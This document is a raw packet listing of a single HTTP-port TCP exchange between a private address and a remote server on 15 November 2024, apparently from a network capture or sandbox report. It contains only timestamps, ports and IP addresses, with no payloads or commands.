Nov 15, 2024 09:10:23.209323883 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.209358931 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.209407091 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.209417105 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.209455013 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.209491968 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.209502935 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.209512949 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.209544897 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.209815979 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.209835052 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.209846020 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.209862947 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.209881067 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.210010052 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.210021973 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.210032940 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.210058928 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.210059881 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.210093975 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.210108995 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.210855961 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.210916042 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.210942030 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.210952997 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.210983992 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.210994959 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.211004972 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.211014986 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.211040974 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.248387098 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.248434067 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.248436928 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.248444080 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.248485088 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.248614073 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.248625994 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.248636007 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.248663902 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.248687029 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.248697996 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.248709917 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.248720884 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.248733997 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.248760939 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.248800993 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.248893976 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.282335997 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.282385111 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.282401085 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.282417059 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.282429934 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.282468081 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.282502890 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.282533884 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.282601118 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.282609940 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.282617092 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.282685041 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.282697916 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.282700062 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.282737970 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.335123062 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.335185051 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.335222006 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.335235119 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.335257053 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.335293055 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.335309982 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.335365057 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.335400105 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.335424900 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.335433960 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.335469007 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.335496902 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.335618973 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.335654974 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.335665941 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.335690975 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.335724115 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.335740089 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.335758924 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.335793972 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.335815907 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.335829020 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.335875988 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.335916996 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.335957050 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.336009026 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.336272001 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.336308956 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.336357117 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.336379051 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.336414099 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.336448908 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.336460114 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.336483002 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.336574078 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.365550041 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.365607977 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.365643978 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.365657091 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.365684032 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.365714073 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.365748882 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.365758896 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.365784883 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.365798950 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.365818024 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.365894079 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.365942955 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.365994930 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.366028070 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.366044044 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.366167068 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.366219044 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.366220951 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.366255045 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.366314888 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.399586916 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.399645090 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.399676085 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.399698019 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.399729013 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.399765015 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.399769068 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.399799109 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.399883032 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.399897099 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.399951935 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.399986029 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.400021076 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.400032043 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.400058031 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.400067091 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.444020987 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.452240944 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.452297926 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.452333927 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.452354908 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.452368021 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.452404022 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.452420950 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.452438116 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.452472925 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.452487946 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.452510118 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.452544928 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.452550888 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.452580929 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.452616930 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.452699900 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.452902079 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.452945948 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.452955008 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.452990055 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.453025103 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.453072071 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.453231096 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.453285933 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.453320980 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.453332901 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.453363895 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.453404903 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.453439951 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.453475952 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.453521967 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.453797102 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.453845024 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.453850985 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.453885078 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.453967094 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.453989983 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.454001904 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.454036951 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.454047918 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.454072952 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.454107046 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.454118967 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.482863903 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.482920885 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.482975006 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.482979059 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.483015060 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.483031988 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.483045101 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.483079910 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.483107090 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.483114004 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.483172894 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.483242035 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.483275890 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.483329058 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.483360052 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.483428001 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.483458042 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.483490944 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.483515978 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.483556032 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.517081022 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.517122984 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.517159939 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.517194986 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.517205954 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.517254114 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.517317057 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.517371893 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.517406940 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.517467022 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.517672062 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.517705917 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.517724991 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.517757893 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.517762899 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.517782927 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.517792940 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.517893076 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.569840908 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.569921017 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.569960117 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.569963932 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.570015907 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.570054054 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.570082903 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.570090055 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.570127964 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.570173025 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.570172071 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.570188999 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.570203066 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.570216894 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.570218086 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.570240021 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.570261955 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.570281982 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.570287943 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.570319891 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.570410967 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.570427895 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.570550919 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.570606947 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.570610046 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.570663929 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.570709944 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.570732117 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.570766926 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.570808887 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.570846081 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.570849895 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.570883989 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.570888996 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.570919991 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.570954084 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.570960045 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.571481943 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.571535110 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.571548939 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.571572065 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.571605921 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.571614981 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.571641922 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.571907997 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.600483894 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.600538015 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.600590944 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.600600958 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.600656986 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.600691080 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.600749016 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.600758076 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.600785017 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.600806952 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.600825071 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.600858927 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.600898027 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.600903034 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.600929022 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.600940943 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.634239912 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.634304047 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.634314060 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.634341002 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.634457111 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.634588003 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.634643078 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.634679079 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.634685040 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.634716988 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.634778023 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.634787083 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.634838104 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.634871006 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.634891033 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.634907007 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.634958982 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.634994030 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.635019064 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.635046959 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.686851025 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.686909914 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.686945915 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.686975002 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.687001944 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.687055111 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.687092066 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.687113047 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.687124014 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.687150002 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.687159061 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.687211990 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.687230110 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.687247992 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.687283039 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.687330008 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.687335014 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.687402010 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.687403917 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.687501907 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.687553883 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.687591076 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.687604904 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.687633991 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.687633991 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.687668085 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.687702894 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.687738895 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.687752962 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.687784910 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.687836885 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.687872887 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.687907934 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.687922001 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.688168049 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.688210011 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.688221931 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.688260078 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.688302040 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.688328981 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.688364029 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.688402891 CET	80	49795	190.107.177.80	192.168.2.10
